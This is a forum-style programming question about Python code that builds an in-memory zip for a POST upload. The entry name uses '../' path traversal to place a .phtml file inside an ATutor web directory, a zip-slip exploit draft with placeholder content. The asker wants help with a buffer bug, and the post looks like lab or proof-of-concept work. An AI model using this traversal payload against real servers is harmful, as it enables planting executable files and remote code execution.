I am attempting to create a zip file in memory with python that I will then attach to a POST request to send with python-requests. Here is the function I wrote
import StringIO,zipfile
code = "poopootest"
def _build_zip_inmem(code):
mf = StringIO.StringIO()
with zipfile.ZipFile(mf, mode='w', compression=zipfile.ZIP_DEFLATED) as zf:
zf.writestr('../../../../../../../../../var/www/html/ATutor/mods/poc/1111.phtml', code)
zf.writestr('imsmanifest.xml', "noxmlhereoops")
mf.write(zf)
print mf.getvalue()
return mf.getvalue()
_build_zip_inmem(code)
This basically works except getvalue() seems to also return the memory address of the object. The ending output of the print line says <zipfile.ZipFile object at 0x7f4e8ba434d0>
and I believe this is why my POST is failing.
How do I convert this in-memory zip to binary that can then be sent via POST?
Thanks!!!